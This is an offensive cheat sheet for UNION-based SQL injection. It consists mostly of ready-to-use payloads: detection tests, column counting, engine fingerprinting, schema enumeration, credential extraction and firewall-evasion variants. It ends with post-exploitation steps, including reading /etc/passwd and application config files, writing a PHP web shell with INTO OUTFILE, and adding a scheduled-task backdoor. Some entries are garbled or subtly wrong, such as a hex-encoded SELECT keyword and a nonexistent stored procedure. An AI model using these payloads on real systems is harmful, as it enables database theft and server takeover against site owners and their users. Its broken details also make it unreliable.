A UNION SQL injection exploits a vulnerable parameter by appending a UNION SELECT statement to the original query. The UNION operator combines the results of two or more SELECT statements into a single result set. When user input is concatenated directly into a SQL query without sanitization, an attacker can craft a second SELECT that reads arbitrary data from any table in the database. The application then displays the stolen data as if it were legitimate product listings, user profiles, or search results.
Core requirement: Both SELECT statements must return the same number of columns with compatible data types.
Attack flow visualization:
flowchart TD
A[Find injectable parameter] --> B{Quote test — error returned?}
B -->|Yes| C[Count columns via ORDER BY or NULL UNION]
B -->|No| D[Try numeric/boolean tests]
D --> C
C --> E[Determine column count N]
E --> F[Find displayed columns via marker strings]
F --> G[Fingerprint database engine]
G --> H[Extract schema from metadata tables]
H --> I[Build final UNION payload]
I --> J[Exfiltrate target data]
J --> K[Post-exploitation — pivot, escalate, persist]
GET /page?id=1'
Result: SQL syntax error confirms injection. The error message often reveals the database engine.
id=1 AND 1=1-- (should return normal page)
id=1 AND 1=2-- (should return empty or different page)
id=1 OR 1=1-- (should return all rows, often breaking pagination)
If the parameter is numeric, no quotes are needed:
id=1+1 (if id=2 returns same as id=2, injection confirmed)
id=2-1 (if returns same as id=1, injection confirmed)
If the parameter is a string, test quote variations:
name=admin' OR '1'='1
name=admin'--
name=admin'#
id=1 AND SLEEP(5)-- (MySQL)
id=1 AND pg_sleep(5)-- (PostgreSQL)
id=1 WAITFOR DELAY '0:0:5'-- (MSSQL)
Increment the column index until an error occurs:
' ORDER BY 1-- (valid)
' ORDER BY 2-- (valid)
' ORDER BY 3-- (valid)
' ORDER BY 4-- (error: Unknown column '4' in 'order clause')Interpretation: The error on column 4 means the query has exactly 3 columns.
Start with one NULL and increase until no error:
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL-- (success = 3 columns)
' UNION SELECT NULL,NULL,NULL,NULL-- (error = more than 3)flowchart LR
A[ORDER BY 1] -->|works| B[ORDER BY 2]
B -->|works| C[ORDER BY 3]
C -->|works| D[ORDER BY 4]
D -->|error| E[Column count = 3]
B -->|error| F[Column count = 1]
C -->|error| G[Column count = 2]
After finding the column count, determine which data type each column accepts.
UNION SELECT 'string',NULL,NULL--
UNION SELECT 1,NULL,NULL--
UNION SELECT 1.5,NULL,NULL--
UNION SELECT NULL,'2024-01-01',NULL--UNION SELECT 1,2,3-- (all integers — may work)
UNION SELECT 'a','b','c'-- (all strings — may work)
UNION SELECT 'a',2,'c'-- (mixed — helps identify per-column types)
MySQL: "Illegal mix of collations"
"Incorrect integer value"
PostgreSQL: "column cannot be cast automatically to type integer"
MSSQL: "Conversion failed when converting the varchar value"
Oracle: "ORA-01790: expression must have same datatype"
Not all columns in the result set are rendered on the page. You must determine which positions send output to the browser.
UNION SELECT 'AAAA',NULL,NULL--
UNION SELECT NULL,'BBBB',NULL--
UNION SELECT NULL,NULL,'CCCC'--Wherever the marker string appears on the page is a displayed column you can use for data exfiltration.
flowchart TD
A[UNION SELECT marker1,marker2,marker3] --> B{Where do markers appear?}
B -->|Title field| C[Column 1 is displayed]
B -->|Price field| D[Column 2 is displayed]
B -->|Description| E[Column 3 is displayed]
C --> F[Use column 1 for extraction]
D --> G[Use column 2 for extraction]
E --> H[Use column 3 for extraction]
If only one column is visible but you need multiple data points, concatenate:
-- MySQL, MariaDB
UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users--
-- PostgreSQL
UNION SELECT NULL,username||':'||password,NULL FROM users--
-- MSSQL
UNION SELECT NULL,username+':'+password,NULL FROM users--
-- Oracle
UNION SELECT NULL,username||':'||password,NULL FROM users--Identify the database engine to use correct syntax for schema extraction.
-- MySQL/MariaDB
UNION SELECT NULL,@@version,NULL--
UNION SELECT NULL,VERSION(),NULL--
-- PostgreSQL
UNION SELECT NULL,version(),NULL--
-- MSSQL
UNION SELECT NULL,@@version,NULL--
-- Oracle
UNION SELECT NULL,banner,NULL FROM v$version--
UNION SELECT NULL,banner,NULL FROM v$version WHERE ROWNUM=1--
-- SQLite
UNION SELECT NULL,sqlite_version(),NULL---- MySQL fingerprint tests
UNION SELECT NULL,CONNECTION_ID(),NULL-- (only MySQL)
-- PostgreSQL fingerprint tests
UNION SELECT NULL,current_database(),NULL-- (only PostgreSQL)
-- MSSQL fingerprint tests
UNION SELECT NULL,host_name(),NULL-- (only MSSQL)
-- Oracle fingerprint tests
UNION SELECT NULL,SYS_CONTEXT('USERENV','DB_NAME'),NULL FROM dual-- (Oracle)flowchart TD
A[Test @@version] -->|Works| B{MySQL or MSSQL?}
B -->|CONNECTION_ID works| C[MySQL/MariaDB]
B -->|host_name works| D[MSSQL]
A -->|Fails| E{Test version}
E -->|Works| F[PostgreSQL]
E -->|Fails| G{Test banner from v$version}
G -->|Works| H[Oracle]
G -->|Fails| I{Test sqlite_version}
I -->|Works| J[SQLite]
List all databases:
UNION SELECT NULL,SCHEMA_NAME,NULL FROM information_schema.SCHEMATA--List all tables in current database:
UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()--List all tables (any database):
UNION SELECT NULL,CONCAT(table_schema,'.',table_name),NULL FROM information_schema.tables--List columns for a specific table:
UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--
UNION SELECT NULL,CONCAT(column_name,' (',data_type,')'),NULL FROM information_schema.columns WHERE table_name='users'--Find tables containing a specific column name:
UNION SELECT NULL,table_name,NULL FROM information_schema.columns WHERE column_name LIKE '%password%'--List all databases:
UNION SELECT NULL,datname,NULL FROM pg_database--List all schemas:
UNION SELECT NULL,schema_name,NULL FROM information_schema.schemata--List all tables in public schema:
UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema='public'--List all columns:
UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--
UNION SELECT NULL,CONCAT(column_name,'|',data_type),NULL FROM information_schema.columns WHERE table_name='users'--Alternative using pg_catalog:
UNION SELECT NULL,tablename,NULL FROM pg_catalog.pg_tables WHERE schemaname='public'--List all databases:
UNION SELECT NULL,name,NULL FROM master..sysdatabases--
UNION SELECT NULL,name,NULL FROM sys.databases--List all tables:
UNION SELECT NULL,name,NULL FROM sys.tables--
UNION SELECT NULL,table_name,NULL FROM information_schema.tables--List all columns:
UNION SELECT NULL,name,NULL FROM sys.columns WHERE object_id=OBJECT_ID('users')--
UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--Find tables with specific columns:
UNION SELECT NULL,OBJECT_NAME(object_id),NULL FROM sys.columns WHERE name='password'--List all tables (current user):
UNION SELECT NULL,table_name,NULL FROM user_tables--List all accessible tables:
UNION SELECT NULL,table_name,NULL FROM all_tables--
UNION SELECT NULL,table_name,NULL FROM all_tables WHERE ROWNUM<=10--List columns:
UNION SELECT NULL,column_name,NULL FROM all_tab_columns WHERE table_name='USERS'--
UNION SELECT NULL,column_name||'('||data_type||')',NULL FROM all_tab_columns WHERE table_name='USERS' AND ROWNUM<=20--Find tables with column:
UNION SELECT NULL,table_name,NULL FROM all_tab_columns WHERE column_name='PASSWORD'--Oracle requires FROM clause — use DUAL:
UNION SELECT NULL,'test',NULL FROM DUAL--List all tables:
UNION SELECT NULL,name,NULL FROM sqlite_master WHERE type='table'--
UNION SELECT NULL,tbl_name,NULL FROM sqlite_master WHERE type='table'--List table structure (SQL):
UNION SELECT NULL,sql,NULL FROM sqlite_master WHERE type='table' AND name='users'--SQLite has no information_schema — use PRAGMA:
UNION SELECT NULL,name,NULL FROM pragma_table_info('users')--
UNION SELECT NULL,sql,NULL FROM sqlite_master--flowchart TD
A[Database Fingerprinted] --> B{Engine?}
B -->|MySQL| C[information_schema.tables]
B -->|PostgreSQL| D[information_schema.tables / pg_catalog]
B -->|MSSQL| E[sys.tables / information_schema.tables]
B -->|Oracle| F[all_tables / user_tables]
B -->|SQLite| G[sqlite_master]
C --> H[List target table columns]
D --> H
E --> H
F --> H
G --> H
H --> I[Identify username/password columns]
I --> J[Build final extraction payload]
Extract one row at a time using LIMIT/OFFSET:
-- MySQL, PostgreSQL, SQLite
UNION SELECT NULL,username,password FROM users LIMIT 1 OFFSET 0--
UNION SELECT NULL,username,password FROM users LIMIT 1 OFFSET 1--
UNION SELECT NULL,username,password FROM users LIMIT 1 OFFSET 2---- MySQL
UNION SELECT NULL,GROUP_CONCAT(username,':',password SEPARATOR ' | '),NULL FROM users--
-- PostgreSQL
UNION SELECT NULL,STRING_AGG(username||':'||password,' | '),NULL FROM users--
-- MSSQL (2017+)
UNION SELECT NULL,STRING_AGG(username+':'+password,' | '),NULL FROM users--
-- Oracle
UNION SELECT NULL,LISTAGG(username||':'||password,' | ') WITHIN GROUP (ORDER BY username),NULL FROM users--Extract specific rows based on conditions:
UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users WHERE username='admin'--
UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users WHERE id=1--
UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users WHERE admin=1---- MySQL (requires FILE privilege)
UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL--
-- PostgreSQL (requires superuser)
UNION SELECT NULL,pg_read_file('/etc/passwd'),NULL--
-- Oracle (requires UTL_FILE access)
UNION SELECT NULL,text,NULL FROM all_source WHERE name='UTL_FILE' AND ROWNUM=1--If the displayed column only accepts numbers, convert strings:
-- MySQL
UNION SELECT NULL,CONV(HEX(username),16,10),NULL FROM users--
UNION SELECT NULL,ASCII(SUBSTRING(password,1,1)),NULL FROM users--
-- Extract character by character
UNION SELECT NULL,ORD(SUBSTR(username,1,1)),NULL FROM users LIMIT 1--When direct UNION is blocked, use subqueries:
id=1 AND 1=0 UNION SELECT * FROM (SELECT NULL,username,password FROM users) AS inner_table--Combine data from multiple tables:
UNION SELECT NULL,CONCAT(u.username,':',a.token),NULL FROM users u JOIN access_tokens a ON u.id=a.user_id--When SELECT is not available but INSERT is injectable:
INSERT INTO users (username,password) VALUES ('attacker',(SELECT password FROM users WHERE username='admin'))--Data is stored in one request and exfiltrated in another:
Request 1: Update profile name to: ' UNION SELECT password FROM users--
Request 2: View profile page — the UNION result appears
Encode data to bypass WAFs:
-- Hex encoding (MySQL)
UNION SELECT NULL,HEX(password),NULL FROM users--
-- Base64 encoding (MySQL 5.6+)
UNION SELECT NULL,TO_BASE64(password),NULL FROM users--
-- CHAR() construction to avoid quotes
UNION SELECT NULL,CHAR(97,100,109,105,110),NULL-- (spells 'admin')When -- or # is filtered:
' UNION SELECT NULL,password,NULL FROM users WHERE '1'='1
' UNION SELECT NULL,password,NULL FROM users WHERE ''='-- MySQL
UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_schema='target_db' AND table_name='users'--
-- MSSQL
UNION SELECT NULL,name,NULL FROM otherdb.sys.tables--
-- PostgreSQL
UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_catalog='otherdb' AND table_name='users'---- Case variation
' UniOn SeLecT NULL,NULL,NULL--
-- Comment inside keyword (MySQL)
' UN/**/ION SE/**/LECT NULL,NULL,NULL--
-- Double URL encoding
%2527%20UNION%20SELECT%20NULL---- Hex encoding
' UNION 0x53454c454354 NULL,NULL,NULL-- (0x53454c454354 = SELECT in hex)
-- Nested parentheses
' UNION (SELECT NULL,NULL,NULL)---- Tabs and newlines
'%09UNION%09SELECT%0ANULL,NULL,NULL--
-- Comments as separators (MySQL)
'/**/UNION/**/SELECT/**/NULL,NULL,NULL--
-- Parentheses
' UNION(SELECT(NULL),(NULL),(NULL))--
-- Backticks (MySQL)
' UNION`SELECT`NULL,NULL,NULL---- Use hex values instead of quoted strings
UNION SELECT NULL,0x61646d696e,NULL-- (0x61646d696e = 'admin')
-- Use CHAR() / CHR()
-- MySQL:
UNION SELECT NULL,CHAR(97,100,109,105,110),NULL--
-- PostgreSQL:
UNION SELECT NULL,CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110),NULL---- Inline comments between keywords (MySQL)
' /*!UNION*/ /*!SELECT*/ NULL,NULL,NULL--
-- Buffer overflow in parameter value to bypass WAF inspection
id=1'+UNION+SELECT+NULL...AAA...AAA (large padding)
-- HTTP parameter pollution
id=1&id=1'+UNION+SELECT+NULL,NULL,NULL--
-- Change content type
Content-Type: application/x-www-form-urlencoded
Change to:
Content-Type: multipart/form-data; boundary=...When the app catches errors, use NULL incremental method rather than relying on error messages.
-- Extract data in chunks
UNION SELECT NULL,SUBSTRING(password,1,20),NULL FROM users--
UNION SELECT NULL,SUBSTRING(password,21,20),NULL FROM users--
UNION SELECT NULL,SUBSTRING(password,41,20),NULL FROM users--When a column is integer-only but you need to extract strings:
-- MySQL convert string to numeric hash
UNION SELECT CRC32(password),NULL,NULL FROM users--
-- Extract one character at a time as ASCII/ORD value
UNION SELECT ORD(SUBSTR(username,1,1)),NULL,NULL FROM users LIMIT 1--If vulnerable page requires authentication, UNION still works if the cookie/session is valid. Test with authenticated session.
UNION SELECT NULL,CONCAT(username,':',password_hash),NULL FROM users--Common hash formats:
- MySQL:
*prefix (MySQL 4.1+) - PostgreSQL:
md5prefix - MSSQL:
0x0100prefix (SHA-based) - Oracle: colon-delimited format
-- MySQL
UNION SELECT NULL,LOAD_FILE('/var/www/html/config.php'),NULL--
UNION SELECT NULL,LOAD_FILE('/etc/my.cnf'),NULL--
UNION SELECT NULL,LOAD_FILE('C:\\xampp\\htdocs\\config.php'),NULL--
-- PostgreSQL
UNION SELECT NULL,pg_read_file('/etc/postgresql/postgresql.conf'),NULL--
UNION SELECT NULL,pg_read_file('/var/www/html/.env'),NULL---- MySQL (requires FILE privilege, secure_file_priv disabled or pointing to writable location)
UNION SELECT NULL,'<?php system($_GET["cmd"]); ?>',NULL INTO OUTFILE '/var/www/html/shell.php'--
-- MySQL dump table to file
UNION SELECT NULL,'webshell code',NULL INTO DUMPFILE '/var/www/html/shell.php'--
-- PostgreSQL (COPY command, more complex)
UNION SELECT NULL,COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/tmp/shell.php',NULL---- MSSQL
UNION SELECT NULL,connection_string,NULL FROM sys.dm_exec_connections--
-- MySQL (via load_file to read app config)
UNION SELECT NULL,LOAD_FILE('/var/www/html/wp-config.php'),NULL---- Find database credentials stored in tables
UNION SELECT NULL,CONCAT(host,':',user,':',password),NULL FROM mysql.user-- (MySQL)
UNION SELECT NULL,CONCAT(host,':',username,':',password),NULL FROM msdb.dbo.sysdac_instances-- (MSSQL)-- Create a new admin user in the database
UNION SELECT NULL,NULL,NULL FROM mysql.user INTO DUMPFILE '/tmp/test'--
-- Combine with INSERT privileges to add database users
-- Drop a scheduled task (MSSQL)
UNION SELECT NULL,1,NULL; EXEC sp_addscheduledtask 'backdoor', 'evil_command'--flowchart TD
A[UNION extraction successful] --> B[Extract user credentials]
B --> C{Crack password hashes?}
C -->|Yes| D[Access admin panel]
C -->|No| E[Extract session tokens]
D --> F[Upload web shell via admin panel]
E --> F
F --> G[Command execution on server]
G --> H[Database dump / lateral movement]
G --> I[Pivot to internal network]
G --> J[Establish persistence]
| Purpose | MySQL | PostgreSQL | MSSQL | Oracle | SQLite |
|---|---|---|---|---|---|
| Order by N columns | ORDER BY N-- |
ORDER BY N-- |
ORDER BY N-- |
ORDER BY N-- |
ORDER BY N-- |
| Null placeholder | NULL |
NULL |
NULL |
NULL |
NULL |
| Dummy table | No table needed | No table needed | No table needed | FROM DUAL |
No table needed |
| Engine | Syntax |
|---|---|
| MySQL | CONCAT(a,':',b) |
| PostgreSQL | a||':'|b |
| MSSQL | a+':'+b |
| Oracle | a||':'|b |
| SQLite | a||':'|b |
| Engine | Single-Line Comment |
|---|---|
| MySQL | -- (space after) or # |
| PostgreSQL | -- |
| MSSQL | -- |
| Oracle | -- |
| SQLite | -- |
| Engine | Function |
|---|---|
| MySQL | @@version, VERSION() |
| PostgreSQL | version() |
| MSSQL | @@version |
| Oracle | SELECT banner FROM v$version |
| SQLite | sqlite_version() |
| Engine | Syntax |
|---|---|
| MySQL | LIMIT 1 OFFSET 0 |
| PostgreSQL | LIMIT 1 OFFSET 0 |
| MSSQL | OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY (2012+) or TOP 1 |
| Oracle | WHERE ROWNUM<=1 |
| SQLite | LIMIT 1 OFFSET 0 |
| Engine | Function |
|---|---|
| MySQL | GROUP_CONCAT(expr SEPARATOR '|') |
| PostgreSQL | STRING_AGG(expr,'|') |
| MSSQL (2017+) | STRING_AGG(expr,'|') |
| MSSQL (older) | `STUFF((SELECT ' |
| Oracle | LISTAGG(expr,'|') WITHIN GROUP (ORDER BY ...) |
| SQLite | GROUP_CONCAT(expr,'|') |
| Engine | Tables | Columns |
|---|---|---|
| MySQL | information_schema.tables |
information_schema.columns |
| PostgreSQL | information_schema.tables, pg_catalog.pg_tables |
information_schema.columns |
| MSSQL | information_schema.tables, sys.tables |
information_schema.columns, sys.columns |
| Oracle | all_tables, user_tables |
all_tab_columns |
| SQLite | sqlite_master |
PRAGMA table_info('tbl') |
| Engine | Syntax |
|---|---|
| MySQL | SUBSTRING(str,pos,len) or SUBSTR(str,pos,len) |
| PostgreSQL | SUBSTRING(str FROM pos FOR len) or SUBSTR(str,pos,len) |
| MSSQL | SUBSTRING(str,pos,len) |
| Oracle | SUBSTR(str,pos,len) |
| SQLite | SUBSTR(str,pos,len) |
| Engine | Function |
|---|---|
| MySQL | CHAR(65) |
| PostgreSQL | CHR(65) |
| MSSQL | CHAR(65) |
| Oracle | CHR(65) |
| SQLite | CHAR(65) |
| Engine | Function |
|---|---|
| MySQL | LOAD_FILE('/path/to/file') |
| PostgreSQL | pg_read_file('/path/to/file') |
| MSSQL | BULK INSERT, OPENROWSET |
| Oracle | UTL_FILE package |
| Engine | Syntax |
|---|---|
| MySQL | /*!UNION*/ (version-specific execution) |
| All | UN/**/ION (generic inline comment) |
graph TD
subgraph Reconnaissance
A1[Spider application] --> A2[Identify parameters]
A2 --> A3[Probe for injection]
end
subgraph Enumeration
A3 --> B1[Confirm vulnerability]
B1 --> B2[Count columns]
B2 --> B3[Find display positions]
B3 --> B4[Fingerprint DB engine]
end
subgraph Extraction
B4 --> C1[Map schema metadata]
C1 --> C2[Identify target tables]
C2 --> C3[Extract credentials]
C3 --> C4[Dump all data]
end
subgraph Exploitation
C4 --> D1[Crack password hashes]
C4 --> D2[Read configuration files]
D2 --> D3[Write web shell]
D3 --> D4[Command execution]
D4 --> D5[Lateral movement]
end